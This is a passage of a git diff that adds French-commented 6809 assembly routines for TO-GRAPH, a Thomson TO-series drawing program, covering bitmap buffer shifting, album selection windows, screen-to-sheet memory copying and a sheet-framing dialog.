+BRDD CLR ,X
+ LDB <LARTIR
+ ABX
+ DECA
+ BNE BRDD ->
+ RTS
+
+
+*=======================================
+* S/P Lecture d'un bit sur le tiroir
+*
+* Entrée: X coord. dans tiroir
+* CPTLT
+* Sortie: Z bit nul ou non
+*=======================================
+
+TEXTBL FDB $8040,$2010,$0804,$0201
+
+XLECTX PSHS X
+PX SET 0
+*---------------------------------------
+ LDU #$A000
+ LDA <CPTLT
+ LDB <LARTIR
+ MUL
+ LEAU D,U
+ TFR X,D
+ LSRA
+ RORB
+ LSRA
+ RORB
+ LSRB
+ LDB D,U
+ LDA PX+1,S
+ ANDA #7
+ LEAX TEXTBL,PCR
+ ANDB A,X
+ PULS X,PC
+
+
+*=======================================
+* S/P pointage d'un album dans table
+*
+* Entrée: X pt nom album
+* Sortie: CY 1 pas trouvé
+* 0 ok
+* X pt dans table si ok
+* non modifié sinon
+*=======================================
+
+XPTALB PSHS D,X,Y,U
+ LEAS -1,S
+ALBC SET 0
+PD SET 1
+PX SET 3
+*---------------------------------------
+
+ TST MAXALB
+ BEQ PTALER ->
+
+ LDU #TABALB
+ CLR ALBC,S
+PTAL1 TST 8,U
+ BMI PTAVID poste vide ->
+ LDX PX,S
+ TFR U,Y
+ LDA #8
+PTAL2 LDB ,X+
+ CMPB ,Y+
+ BNE PTAL3 différent ->
+ DECA
+ BNE PTAL2 ->
+ BRA PTALOK trouvé ->
+PTAL3 INC ALBC,S
+ LDA ALBC,S
+ CMPA MAXALB
+ BGE PTALER fini ->
+PTAVID LEAU 9,U
+ BRA PTAL1 ->
+
+PTALOK STU PX,S
+ ANDCC #$FE
+ LEAS 1,S
+ PULS D,X,Y,U,PC ->>
+PTALER ORCC #$01
+ LEAS 1,S
+ PULS D,X,Y,U,PC ->>
+
+
+*=======================================
+* S/P sélection d'un album préexistant
+*
+* Entrée: A,B coordonnées fenêtre
+* X =0 => visu seule
+* =-1 => sélection
+* Y nb niv. à remonter si ok
+* (aucun si <0 )
+* Sortie: CY 1 Raz ou pas d'album
+* 0 ok
+* X pt dans table si ok
+*=======================================
+
+FFELAL FCB FLOCF,0,0,13,44
+ FCB FTRAME,FTOURI
+ FCB FCOMF,FF,OFF
+ FCB FLOCF,1,1,1,42
+ FCB FFOND,FTOURE,FCADRE
+ FCB FLOCF,1,15,1,42
+ FCB FEDI,ESC,$4E
+ FCC \ALBUMS\
+ FCB ESC,$4C,0
+ FCB FLOCF,3,1,9,42
+ FCB FFOND,FTOURE,FCADRE
+
+ FCB FLOCF,4,3,1,8
+ FCB FPOUSS,200,INTERD
+ FCB FLOCF,4,13,1,8
+ FCB FPOUSS,201,INTERD
+ FCB FLOCF,4,23,1,8
+ FCB FPOUSS,202,INTERD
+ FCB FLOCF,4,33,1,8
+ FCB FPOUSS,203,INTERD
+
+ FCB FLOCF,6,3,1,8
+ FCB FPOUSS,204,INTERD
+ FCB FLOCF,6,13,1,8
+ FCB FPOUSS,205,INTERD
+ FCB FLOCF,6,23,1,8
+ FCB FPOUSS,206,INTERD
+ FCB FLOCF,6,33,1,8
+ FCB FPOUSS,207,INTERD
+
+ FCB FLOCF,8,3,1,8
+ FCB FPOUSS,208,INTERD
+ FCB FLOCF,8,13,1,8
+ FCB FPOUSS,209,INTERD
+ FCB FLOCF,8,23,1,8
+ FCB FPOUSS,210,INTERD
+ FCB FLOCF,8,33,1,8
+ FCB FPOUSS,211,INTERD
+
+ FCB FLOCF,10,3,1,8
+ FCB FPOUSS,212,INTERD
+ FCB FLOCF,10,13,1,8
+ FCB FPOUSS,213,INTERD
+ FCB FLOCF,10,23,1,8
+ FCB FPOUSS,214,INTERD
+ FCB FLOCF,10,33,1,8
+ FCB FPOUSS,215,INTERD
+ FCB FSTOP
+
+MPASAL FCC \PASD'ALBUM\
+ FCB 0
+
+*---------------------------------------
+XSELAL PSHS D,X,Y,U
+ LEAS -2,S
+ALBC SET 0
+ALBOK SET 1
+PD SET 2
+PX SET 4
+PYL SET 7
+*---------------------------------------
+
+ TST NBALB
+ BNE SELAL0 ->
+ LEAX MPASAL,PCR
+ JSR FENERR
+ LBRA SELALF ->
+SELAL0 LEAX FFELAL,PCR
+ LDD PD,S
+ JSR FENOUV
+
+ CLR ALBC,S visu albums
+ CLR ALBOK,S
+ LDU #TABALB
+SELAL1 TST 8,U
+ BMI ALVID ->
+ LDB ALBOK,S poste occupé
+ ADDB #200
+ JSR FENCH
+ TST PX,S
+ BEQ SELALV visu seule ->
+ LDA #OFF
+ STA VAL,X
+SELALV LDA #8
+SELAL2 LDB ,U+
+ JSR FENPUT
+ DECA
+ BNE SELAL2 ->
+ LEAU 1,U
+ INC ALBOK,S
+SELAL3 INC ALBC,S
+ LDA ALBC,S
+ CMPA #16
+ BGE SELAL4 fini ->
+ BRA SELAL1 ->
+ALVID LEAU 9,U
+ BRA SELAL3 ->
+
+SELAL4 JSR FENACT sélection
+SELAL5 JSR FEN
+ TSTB
+ BEQ SELAL5 ->
+ CMPB #FF
+ BEQ SELALR raz ->
+ TST PX,S
+ BEQ SELAL5 visu seule ->
+ SUBB #200
+ BMI SELAL5 ->
+ CMPB ALBOK,S
+ BGE SELAL5 ->
+
+* Album sélectionné
+ INCB
+ LDX #TABALB
+SELAL6 TST 8,X
+ BMI SELAL7 ->
+ DECB
+ BEQ FSELAL pointé ->
+SELAL7 LEAX 9,X
+ BRA SELAL6 ->
+
+FSELAL STX PX,S
+ LDB PYL,S
+ BMI SELALZ dépile par appel
+ JSR FENFER .lant
+ JSR FENACT
+SELALZ ANDCC #$FE
+ LEAS 2,S
+ PULS D,X,Y,U,PC ->>
+SELALR CLRB
+ JSR FENFER
+ JSR FENACT
+SELALF ORCC #$01
+ LEAS 2,S
+ PULS D,X,Y,U,PC ->>
+
+
+*=======================================
+* S/P visualisation du tiroir
+*
+* Entrée: X coord. graphique haut
+* Y gauche
+* A #0 si effacement préalable
+*=======================================
+
+XVISTI PSHS D,X,Y,U
+PA SET 0
+PB SET 1
+PX SET 2
+PY SET 4
+*---------------------------------------
+
+* calculer coord. de visualisation
+ LDD PX,S
+ STD <XT0
+ ADDD <LPTTIR
+ SUBD #1
+ STD <XT1
+
+ LDD PY,S
+ STD <YT0
+ CLRA
+ LDB <HPTTIR
+ ADDD <YT0
+ SUBD #1
+ STD <YT1
+
+* décaler le tiroir pour corresp.
+* colonnes
+ LDD <XT0
+ ANDB #7
+ LBSR XDECAL
+
+* calcul de la zone visualisée
+ LDD <XT0
+ ASRA
+ RORB
+ ASRA
+ RORB
+ ASRA
+ RORB
+ STB <COLT0
+ CLR <DECSEG
+ CMPB #4
+ BGE XPCL10 ->
+ LDA #4
+ SUBA <COLT0
+ STA <DECSEG
+ LDA #4
+ STA <COLT0
+ LDD #32
+ STD <XT0
+
+XPCL10 CLR <DECLIG
+ LDD <YT0
+ CMPD #8
+ BGE XPCL11 ->
+ LDD #8
+ SUBD <YT0
+ STB <DECLIG
+ LDD #8
+ STD <YT0
+XPCL11 LDA <YT0+1
+ STA <YT0 valeur 8..191
+
+ LDD <XT1
+ ASRA
+ RORB
+ ASRA
+ RORB
+ ASRA
+ RORB
+ STB <COLT1
+ CMPB #77
+ BLE XPCL12 ->
+ LDB #77
+ STB <COLT1
+ LDD #623
+ STD <XT1
+
+XPCL12 LDD <YT1
+ CMPD #191
+ BLE XPCL13 ->
+ LDD #191
+ STD <YT1
+XPCL13 LDA <YT1+1 valeur 8..191
+ STA <YT1
+
+ LDA <COLT1
+ SUBA <COLT0
+ INCA
+ STA <LARTV
+ LDA <YT1
+ SUBA <YT0
+ INCA
+ STA <HAUTV
+
+* calcul des référence 1er segment
+* (page écran et adresse
+ LDA $E7C3
+ ANDA #$FE
+ LDB <COLT0
+ LSRB
+ BCS XPCC2 ->
+ ORA #$01
+XPCC2 STA <PRE7C3
+ LDA <YT0
+ LDB #40
+ MUL
+ ADDD #$4000
+ STD <ADPRSG
+ CLRA
+ LDB <COLT0
+ LSRB
+ ADDD <ADPRSG
+ STD <ADPRSG
+
+* calcul des nb de seg. sur page
+* du 1er et sur l'autre
+ LDA <LARTV
+ LSRA
+ STA <NBSEG1
+ STA <NBSEG2
+ BCC XPCC3 ->
+ INC <NBSEG1
+
+* si demandé... effacer
+XPCC3 TST PA,S
+ BEQ XPCC4 ->
+ LBSR XCLRTI
+
+* superposition des seg. 1ère page
+XPCC4 LDA <PRE7C3
+ STA $E7C3
+ LDA <HAUTV
+ STA <CPTLT
+ LDU <ADPRSG
+ STU <ADPRSL
+ LDY #ZONTRA Y=ad 1ére ligne
+ LDA <LARTIR
+ LDB <DECLIG
+ MUL
+ LEAY D,Y
+XPCC10 LDA <DECSEG
+ LEAX A,Y
+ LDA <NBSEG1
+XPCC11 LDB ,U
+ ORB ,X++
+ STB ,U+
+ DECA
+ BNE XPCC11 ->
+ LDB <LARTIR
+ LEAY B,Y
+ LDU <ADPRSL
+ LEAU 40,U
+ STU <ADPRSL
+ DEC <CPTLT
+ BNE XPCC10 ->
+
+* superposition des seg. 2ème page
+ LDA $E7C3
+ EORA #$01
+ STA $E7C3
+ LDA <HAUTV
+ STA <CPTLT
+ CLRA
+ LDB <PRE7C3
+ ANDB #1
+ EORB #1
+ ADDD <ADPRSG
+ STD <ADPRSL
+ TFR D,U
+ LDY #ZONTRA+1 Y=ad 1ére ligne
+ LDA <LARTIR
+ LDB <DECLIG
+ MUL
+ LEAY D,Y
+XPCC20 LDA <DECSEG
+ LEAX A,Y
+ LDA <NBSEG2
+XPCC21 LDB ,U
+ ORB ,X++
+ STB ,U+
+ DECA
+ BNE XPCC21 ->
+ LDB <LARTIR
+ LEAY B,Y
+ LDU <ADPRSL
+ LEAU 40,U
+ STU <ADPRSL
+ DEC <CPTLT
+ BNE XPCC20 ->
+
+ PULS D,X,Y,U,PC ->>
diff --git a/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-C2.ASM b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-C2.ASM
new file mode 100644
index 0000000..ad3699e
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-C2.ASM
@@ -0,0 +1,1624 @@
+ TITLE TO-GRAPH: S/P cartouche 2
+* ---------------------------------
+ PAGE
+
+****************************************
+* *
+* TO-GRAPH *
+* *
+* S/P de la cartouche no 2 *
+* *
+****************************************
+
+
+*=======================================
+* S/P décalage droite/gauche du tiroir
+* pour mettre les 1ers points de
+* chaque ligne dans une colonne
+* donnée
+* Entrée: B rang à obtenir pour 1er pt
+* (0..7)
+*=======================================
+
+XDECAL PSHS D,X
+ LEAS -1,S
+CPTDEC SET 0
+PA SET 1
+PB SET 2
+*---------------------------------------
+ SUBB <DECTIR
+ LBEQ DECTF déja ok ->
+ BMI DECTG à gauche ->
+ STB CPTDEC,S # à droite
+ LDB PB,S
+ STB <DECTIR
+BDCDD LDX #ZONTRA
+ LDA <HPTTIR
+BDCDL LDB <LARTIR
+ ANDCC #$FE
+BDCDC ROR ,X+
+ DECB
+ BNE BDCDC ->
+ DECA
+ BNE BDCDL ->
+ DEC CPTDEC,S
+ BNE BDCDD ->
+ BRA DECTF ->
+
+DECTG NEGB # à gauche
+ STB CPTDEC,S
+ LDB PB,S
+ STB <DECTIR
+BDCGD LDX #ZONTRA
+ LDA <HPTTIR
+ LDB <LARTIR
+ MUL
+ LEAX D,X
+ LDA <HPTTIR
+BDCGL LDB <LARTIR
+ ANDCC #$FE
+BDCGC ROL ,-X
+ DECB
+ BNE BDCGC ->
+ DECA
+ BNE BDCGL ->
+ DEC CPTDEC,S
+ BNE BDCGD ->
+
+DECTF LEAS 1,S
+ PULS D,X,PC
+
+
+*=======================================
+* S/P génération d'un dessin tortue
+* d'avance éventuellement décomposé
+* en plusieurs (max soft 255)
+*
+* Entrée: D déplacement
+* X chaine rangement
+* Sortie: X ...
+*=======================================
+
+XDEPTO PSHS D
+ LEAS -5,S
+DEPCPT SET 0
+DEPCOU SET 2
+DEPCAR SET 4
+PD SET 5
+*---------------------------------------
+ LDA -1,X
+ STA DEPCAR,S
+ LDD PD,S
+ STD DEPCPT,S
+DEPTO0 LDD DEPCPT,S
+ CMPD #255
+ BLE DEPTO1 ->
+ LDD #255
+DEPTO1 STD DEPCOU,S
+ LDD DEPCOU,S
+ JSR BINDCG
+ ABX
+ LDD DEPCPT,S
+ SUBD DEPCOU,S
+ STD DEPCPT,S
+ BLE DEPTOF ->
+ LDD #$4C30 'L0'
+ STD ,X++
+ LDA DEPCAR,S
+ STA ,X+
+ BRA DEPTO0 ->
+
+DEPTOF LEAS 5,S
+ PULS D,PC
+
+
+*=======================================
+* S/P copie d'une page écran vers la
+* zone correspondante de la feuille
+*
+* Entrée: B 0 page paire
+* 1 page impaire
+* RGDECR emplacement écran
+* CLDECR dans la feuille
+*=======================================
+
+XECRFE PSHS D,X,Y
+ LEAS -2,S
+MEMBK SET 0
+DBK SET 1
+PA SET 2
+PB SET 3
+*---------------------------------------
+ LDA BANKC
+ STA MEMBK,S
+
+* Commut. page écran à sauvegarder
+ LDA $E7C3
+ ANDA #$FE
+ ADDA PB,S
+ EORA #1
+ STA $E7C3
+ LDA #PBKTRA+2
+ TST PB,S
+ BEQ ECFE00 ->
+ ADDA #3
+ECFE00 STA DBK,S
+
+* Calcul de l'adresse RAM début ligne
+* initiale de la feuille (bank+déplac.)
+ LDA <RGDECR *60*8 !
+ LSLA
+ LDB #60*4
+ MUL
+ ADDB <CLDECR
+ ADCA #0
+ ADDD <ADF
+ BCC ECFE0 ->
+ ADDD #$FFFF-48959
+ECFE0 CMPD #48960
+ BCS ECFE1 ->
+ SUBD #48960
+ECFE1 STD <ADPRRL
+ ROLA
+ ROLA
+ ROLA
+ ANDA #3
+ ADDA PB,S 3 bank par page
+ ADDA PB,S écran
+ ADDA PB,S
+ ADDA #PBKTRA
+ STA BANKC
+ LDD <ADPRRL
+ ANDA #$3F
+ ADDD #$A000
+ STD <ADPRRL
+
+* Initialisation du 1er segment à lire
+* sur l'écran
+ LDD #$4000+8*40+2
+ STD <ADPRSL
+
+* Nb de lignes écran à déplacer (+1)
+ LDA #185
+ STA <CPTLT
+
+* Boucle de copie .. X= ad. écran
+* Y= ad. RAM
+ LDX <ADPRSL
+ LDY <ADPRRL
+
+BECFE DEC <CPTLT
+ LBEQ FECFE fini ->
+ LDA BANKC
+ LDB #37
+ CMPA DBK,S
+ BEQ ECFE30 dernier bank ->
+
+ CMPY #$E000-36
+ BCS BECFE1 move 37 ok ->
+ PSHS Y move en 2 fois
+ LDD #$E000
+ SUBD ,S++
+ STB <CPTCT
+BECFE0 LDA ,X+
+ STA ,Y+
+ DECB
+ BNE BECFE0 ->
+ INC BANKC
+ LDY #$A000
+ LDB #37
+ SUBB <CPTCT
+BECFE1 LDA ,X+
+ STA ,Y+
+ DECB
+ BNE BECFE1 ->
+
+ LEAX 40-37,X ligne écran suiv
+ LEAY 60-37,Y ligne feuille
+ CMPY #$E000
+ BCS BECFE ->
+ INC BANKC
+ LEAY -$4000,Y
+ BRA BECFE ->
+
+ECFE30 CMPY #$DF40-36
+ BCS BECFE3 move 37 ok ->
+ PSHS Y move en 2 fois
+ LDD #$DF40
+ SUBD ,S++
+ STB <CPTCT
+BECFE2 LDA ,X+
+ STA ,Y+
+ DECB
+ BNE BECFE2 ->
+ DEC BANKC
+ DEC BANKC
+ LDY #$A000
+ LDB #37
+ SUBB <CPTCT
+BECFE3 LDA ,X+
+ STA ,Y+
+ DECB
+ BNE BECFE3 ->
+
+ LEAX 40-37,X ligne écran suiv
+ LEAY 60-37,Y ligne feuille
+ CMPY #$DF40
+ LBCS BECFE ->
+ DEC BANKC
+ DEC BANKC
+ LEAY -$DF40,Y
+ LEAY $A000,Y
+ LBRA BECFE ->
+
+FECFE LDA MEMBK,S
+ STA BANKC
+ LEAS 2,S
+ PULS D,X,Y,PC
+
+
+*=======================================
+* S/P copie vers une page écran de la
+* zone correspondante de la feuille
+*
+* Entrée: B 0 page paire
+* 1 page impaire
+* RGDECR emplacement écran
+* CLDECR dans la feuille
+*=======================================
+
+XFEUEC PSHS D,X,Y
+ LEAS -2,S
+MEMBK SET 0
+DBK SET 1
+PA SET 2
+PB SET 3
+*---------------------------------------
+ LDA BANKC
+ STA MEMBK,S
+
+* Commut. page écran à régénérer
+ LDA $E7C3
+ ANDA #$FE
+ ADDA PB,S
+ EORA #1
+ STA $E7C3
+ LDA #PBKTRA+2
+ TST PB,S
+ BEQ FEEC00 ->
+ ADDA #3
+FEEC00 STA DBK,S
+
+* Calcul de l'adresse RAM début ligne
+* initiale de la feuille (bank+déplac.)
+ LDA <RGDECR *60*8 !
+ LSLA
+ LDB #60*4
+ MUL
+ ADDB <CLDECR
+ ADCA #0
+ ADDD <ADF
+ BCC FEEC0 ->
+ ADDD #$FFFF-48959
+FEEC0 CMPD #48960
+ BCS FEEC1 ->
+ SUBD #48960
+FEEC1 STD <ADPRRL
+ ROLA
+ ROLA
+ ROLA
+ ANDA #3
+ ADDA PB,S 3 bank par page
+ ADDA PB,S écran
+ ADDA PB,S
+ ADDA #PBKTRA
+ STA BANKC
+ LDD <ADPRRL
+ ANDA #$3F
+ ADDD #$A000
+ STD <ADPRRL
+
+* Initialisation du 1er segment à écrire
+* sur l'écran
+ LDD #$4000+8*40+2
+ STD <ADPRSL
+
+* Nb de lignes écran à déplacer (+1)
+ LDA #185
+ STA <CPTLT
+
+* Boucle de copie .. X= ad. écran
+* Y= ad. RAM
+ LDX <ADPRSL
+ LDY <ADPRRL
+
+BFEEC DEC <CPTLT
+ LBEQ FFEEC fini ->
+ LDA BANKC
+ LDB #37
+ CMPA DBK,S
+ BEQ FEEC30 dernier bank ->
+
+ CMPY #$E000-36
+ BCS BFEEC1 move 37 ok ->
+ PSHS Y move en 2 fois
+ LDD #$E000
+ SUBD ,S++
+ STB <CPTCT
+BFEEC0 LDA ,Y+
+ STA ,X+
+ DECB
+ BNE BFEEC0 ->
+ INC BANKC
+ LDY #$A000
+ LDB #37
+ SUBB <CPTCT
+BFEEC1 LDA ,Y+
+ STA ,X+
+ DECB
+ BNE BFEEC1 ->
+
+ LEAX 40-37,X ligne écran suiv
+ LEAY 60-37,Y ligne feuille
+ CMPY #$E000
+ BCS BFEEC ->
+ INC BANKC
+ LEAY -$4000,Y
+ BRA BFEEC ->
+
+FEEC30 CMPY #$DF40-36
+ BCS BFEEC3 move 37 ok ->
+ PSHS Y move en 2 fois
+ LDD #$DF40
+ SUBD ,S++
+ STB <CPTCT
+BFEEC2 LDA ,Y+
+ STA ,X+
+ DECB
+ BNE BFEEC2 ->
+ DEC BANKC
+ DEC BANKC
+ LDY #$A000
+ LDB #37
+ SUBB <CPTCT
+BFEEC3 LDA ,Y+
+ STA ,X+
+ DECB
+ BNE BFEEC3 ->
+
+ LEAX 40-37,X ligne écran suiv
+ LEAY 60-37,Y ligne feuille
+ CMPY #$DF40
+ LBCS BFEEC ->
+ DEC BANKC
+ DEC BANKC
+ LEAY -$DF40,Y
+ LEAY $A000,Y
+ LBRA BFEEC ->
+
+FFEEC LDA MEMBK,S
+ STA BANKC
+ LEAS 2,S
+ PULS D,X,Y,PC
+
+
+*=======================================
+* S/P inversion du tiroir pour visu.
+* temporaire
+*=======================================
+
+XINVTI EQU *
+*---------------------------------------
+* calculer coord. de visualisation
+ LDD <LPTTIR
+ LSRA
+ RORB
+ PSHS D
+ LDD REGX
+ SUBD ,S++
+ STD <XT0
+ ADDD <LPTTIR
+ SUBD #1
+ STD <XT1
+
+ CLRA calcul +/- 32k
+ LDB <HPTTIR
+ LSRA
+ RORB
+ PSHS D
+ LDD REGY
+ SUBD ,S++
+ STD <YT0
+ CLRA
+ LDB <HPTTIR
+ ADDD <YT0
+ SUBD #1
+ STD <YT1
+
+* décaler le tiroir pour corresp.
+* colonnes
+ LDD <XT0
+ ANDB #7
+ LBSR XDECAL
+
+* calcul de la zone visualisée
+ LDD <XT0
+ ASRA
+ RORB
+ ASRA
+ RORB
+ ASRA
+ RORB
+ STB <COLT0
+ CLR <DECSEG
+ CMPB #4
+ BGE INVT10 ->
+ LDA #4
+ SUBA <COLT0
+ STA <DECSEG
+ LDA #4
+ STA <COLT0
+ LDD #32
+ STD <XT0
+
+INVT10 CLR <DECLIG
+ LDD <YT0
+ CMPD #8
+ BGE INVT11 ->
+ LDD #8
+ SUBD <YT0
+ STB <DECLIG
+ LDD #8
+ STD <YT0
+INVT11 LDA <YT0+1
+ STA <YT0 valeur 8..191
+
+ LDD <XT1
+ ASRA
+ RORB
+ ASRA
+ RORB
+ ASRA
+ RORB
+ STB <COLT1
+ CMPB #77
+ BLE INVT12 ->
+ LDB #77
+ STB <COLT1
+ LDD #623
+ STD <XT1
+
+INVT12 LDD <YT1
+ CMPD #191
+ BLE INVT13 ->
+ LDD #191
+ STD <YT1
+INVT13 LDA <YT1+1 valeur 8..191
+ STA <YT1
+
+ LDA <COLT1
+ SUBA <COLT0
+ INCA
+ STA <LARTV
+ LDA <YT1
+ SUBA <YT0
+ INCA
+ STA <HAUTV
+
+* calcul des référence 1er segment
+* (page écran et adresse
+ LDA $E7C3
+ ANDA #$FE
+ LDB <COLT0
+ LSRB
+ BCS INVT14 ->
+ ORA #$01
+INVT14 STA <PRE7C3
+ LDA <YT0
+ LDB #40
+ MUL
+ ADDD #$4000
+ STD <ADPRSG
+ CLRA
+ LDB <COLT0
+ LSRB
+ ADDD <ADPRSG
+ STD <ADPRSG
+
+* calcul des nb de seg. sur page
+* du 1er et sur l'autre
+ LDA <LARTV
+ LSRA
+ STA <NBSEG1
+ STA <NBSEG2
+ BCC INVT15 ->
+ INC <NBSEG1
+
+* xor sur seg. 1ère page
+INVT15 LDA <PRE7C3
+ STA $E7C3
+ LDA <HAUTV
+ STA <CPTLT
+ LDU <ADPRSG
+ STU <ADPRSL
+ LDY #ZONTRA Y=ad 1ére ligne
+ LDA <LARTIR
+ LDB <DECLIG
+ MUL
+ LEAY D,Y
+INVT16 LDA <DECSEG
+ LEAX A,Y
+ LDA <NBSEG1
+INVT17 LDB ,U
+ EORB ,X++
+ STB ,U+
+ DECA
+ BNE INVT17 ->
+ LDB <LARTIR
+ LEAY B,Y
+ LDU <ADPRSL
+ LEAU 40,U
+ STU <ADPRSL
+ DEC <CPTLT
+ BNE INVT16 ->
+
+* xor seg. 2ème page
+ LDA $E7C3
+ EORA #$01
+ STA $E7C3
+ LDA <HAUTV
+ STA <CPTLT
+ CLRA
+ LDB <PRE7C3
+ ANDB #1
+ EORB #1
+ ADDD <ADPRSG
+ STD <ADPRSL
+ TFR D,U
+ LDY #ZONTRA+1 Y=ad 1ére ligne
+ LDA <LARTIR
+ LDB <DECLIG
+ MUL
+ LEAY D,Y
+INVT18 LDA <DECSEG
+ LEAX A,Y
+ LDA <NBSEG2
+INVT19 LDB ,U
+ EORB ,X++
+ STB ,U+
+ DECA
+ BNE INVT19 ->
+ LDB <LARTIR
+ LEAY B,Y
+ LDU <ADPRSL
+ LEAU 40,U
+ STU <ADPRSL
+ DEC <CPTLT
+ BNE INVT18 ->
+ RTS
+
+
+*=======================================
+* S/P raz de l'écran de travail
+*=======================================
+
+XRAZEC PSHS D,Y
+ LDD #$0104
+ LDY #$174A
+ JSR FENLOC
+ JSR FENFON
+ PULS D,Y,PC
+
+
+*=======================================
+* S/P raz de la feuille de travail
+*=======================================
+
+XRAZFE PSHS D,X
+ LEAS -2,S
+MEMBK SET 0
+BKTRA SET 1
+*---------------------------------------
+ LDA BANKC
+ STA MEMBK,S
+ LDA #PBKTRA
+ STA BKTRA,S
+BRAZF0 LDA BKTRA,S
+ CMPA #DBKTRA
+ BGT FRAZF fin ->
+ STA BANKC
+ LDD #0
+ LDX #$A000
+BRAZF1 STD ,X++
+ CMPX #$E000
+ BNE BRAZF1 ->
+ INC BKTRA,S
+ BRA BRAZF0 ->
+FRAZF LDA MEMBK,S
+ STA BANKC
+ LEAS 2,S
+ PULS D,X,PC
+
+
+*=======================================
+* S/P traitement de la fenêtre de
+* cadrage de la feuille
+*
+* Entrée: A =0 cadrage seul
+* #0 +sélection zone
+*
+* Sortie: <ADF pour le cadrage
+* et si sélection zone:
+* CADRNG rangée début (0..101)
+* CADCOL colonne début (0..59 )
+* CADHAU hauteur (1..102)
+* CADLAR (1..120)
+* B éventuelle sélec ext
+* A interrupteur pleine
+* page
+* Z 1 zone ok
+* 0 feuille vide ou aband.
+*=======================================
+
+FFCADS FCB FCALL
+ FDB FFCADF-$4000
+
+ FCB FLOCF,8,18,1,1
+ FCB FEDI
+ FCC \Pleine\
+ FCB 0
+ FCB FLOCR,1,1,1,1
+ FCB FEDI
+ FCC \page\
+ FCB 0
+ FCB FLOCR,2,1,1,1
+ FCB FEDI,BALISE,0
+ FCB FLOCF,11,20,1,1
+ FCB FINV,$50,OFF
+ FCB FSTOP
+
+FFCADC FCB FCALL
+ FDB FFCADF-$4000
+
+ FCB FLOCF,0,0,23,26
+ FCB FCOMF,FF,OFF
+
+ FCB FLOCA,0,5,1,16
+ FCB FPOUSS,$90,OFF
+ FCB FLOCA,0,23,1,12
+ FCB FPOUSS,$91,OFF
+ FCB FLOCA,0,37,1,14
+ FCB FPOUSS,$92,OFF
+ FCB FLOCA,0,53,1,12
+ FCB FPOUSS,$93,OFF
+ FCB FLOCA,0,67,1,12
+ FCB FPOUSS,$94,OFF
+ FCB FLOCA,1,1,2,2
+ FCB FPOUSS,$0F,OFF (ctrl) O
+ FCB FLOCA,4,1,2,2
+ FCB FPOUSS,$10,OFF (ctrl) P
+ FCB FLOCA,7,1,1,2
+ FCB FINV,$12,OFF (ctrl) R
+ FCB FLOCA,10,1,1,2
+ FCB FINV,$13,OFF (ctrl) S
+ FCB FLOCA,13,1,2,2
+ FCB FPOUSS,$14,OFF (ctrl) T
+ FCB FLOCA,16,1,2,2
+ FCB FPOUSS,$15,OFF (ctrl) U
+ FCB FLOCA,20,1,1,2
+ FCB FPOUSS,$05,OFF (ctrl) E
+ FCB FLOCA,22,1,1,2
+ FCB FPOUSS,$11,OFF (ctrl) Q
+ FCB FLOCA,24,6,1,4
+ FCB FPOUSS,BS+$80,OFF
+ FCB FLOCA,24,10,1,2
+ FCB FPOUSS,BS,OFF
+ FCB FLOCA,24,12,1,60
+ FCB FPOUSS,$80,OFF
+ FCB FLOCA,24,72,1,2
+ FCB FPOUSS,HT,OFF
+ FCB FLOCA,24,74,1,4
+ FCB FPOUSS,HT+$80,OFF
+ FCB FLOCA,1,78,2,2
+ FCB FPOUSS,VT+$80,OFF
+ FCB FLOCA,3,78,1,2
+ FCB FPOUSS,VT,OFF
+ FCB FLOCA,4,78,17,2
+ FCB FPOUSS,$81,OFF
+ FCB FLOCA,21,78,1,2
+ FCB FPOUSS,LF,OFF
+ FCB FLOCA,22,78,2,2
+ FCB FPOUSS,LF+$80,OFF
+ FCB FEDI,ESC,$4C,0
+ FCB FSTOP
+
+FFCADF FCB FLOCF,0,0,23,26
+ FCB FTRAME,FTOURI
+ FCB FLOCF,1,1,1,24
+ FCB FFOND,FTOURE,FCADRE
+ FCB FEDI,HT,ESC,$4E
+ FCC \CADRAGE\
+ FCB ESC,$4C,0
+ FCB FLOCF,3,1,15,24
+ FCB FFOND,FTOURE,FCADRE
+ FCB FLOCF,19,1,3,24
+ FCB FFOND,FTOURE,FCADRE
+
+ FCB FLOCF,14,20,1,2
+ FCB FEDI,ESC,$4E,SS2,$2D,0
+ FCB FTOURI
+ FCB FPOUSS,VT,OFF
+ FCB FLOCR,1,-2,1,2
+ FCB FEDI,SS2,$2C,0
+ FCB FTOURI
+ FCB FPOUSS,BS,OFF
+ FCB FLOCR,0,4,1,2
+ FCB FEDI,SS2,$2E,0
+ FCB FTOURI
+ FCB FPOUSS,HT,OFF
+ FCB FLOCR,1,-2,1,2
+ FCB FEDI,SS2,$2F,ESC,$4C,0
+ FCB FTOURI
+ FCB FPOUSS,LF,OFF
+
+ FCB FLOCF,20,3,1,1
+ FCB FEDI
+ FCC \OK\
+ FCB BALISE
+ FCC \Annuler\
+ FCB BALISE,0
+ FCB FLOCF,20,6,1,1
+ FCB FPOUSS,RC,OFF
+ FCB FLOCF,20,22,1,1
+ FCB FPOUSS,FF,OFF
+ FCB FSTOP
+
+*---------------------------------------
+XSPCAD PSHS D,X,Y,U #(SPCADR)#
+ LEAS -128,S
+BUFRED SET 0
+MEMBK SET 120
+DBK SET 121
+YRED SET 122
+DECRNG SET 124 decalage +/-
+DECCOL SET 125 ...
+DRLG SET 126 dern ...
+CLDRO SET 127 col. bord droit
+PA SET 128
+PB SET 129
+*---------------------------------------
+
+ CLR DECRNG,S résultat cadr.
+ CLR DECCOL,S
+
+ LEAX FFCADC,PCR
+ TST PA,S
+ BEQ SPCAD0 ->
+ LEAX FFCADS,PCR
+SPCAD0 LDD #$011C
+ JSR FENOUV
+
+ LDX #239
+ STX XXXXXX
+ LDX #360
+ LDY #39
+ STY YYYYYY
+ LDY #142
+ CLR FILFLG
+ LDB #BOX
+ JSR EXTRA
+
+* Positionnement initial sur la feuille
+
+ LDA BANKC
+ STA MEMBK,S
+
+ LDD <ADF
+ ROLA
+ ROLA
+ ROLA
+ ANDA #3
+ ADDA #PBKTRA
+ STA DBK,S
+ LDD <ADF
+ ANDA #$3F
+ ADDD #$A000
+ STD <ADPRRL
+ LDY #40
+ STY YRED,S
+
+* Raz buffer image rangée
+
+BRED0 LEAX BUFRED,S
+ LDB #120
+BRED1 CLR ,X+
+ DECB
+ BNE BRED1 ->
+
+* Boucle de lecture de 8 lignes (1 car.)
+* en page 0
+
+ LDA DBK,S
+ STA BANKC
+ LDA #9
+ STA <CPTLT
+ LDY <ADPRRL
+BRED2 LEAX BUFRED,S
+ DEC <CPTLT
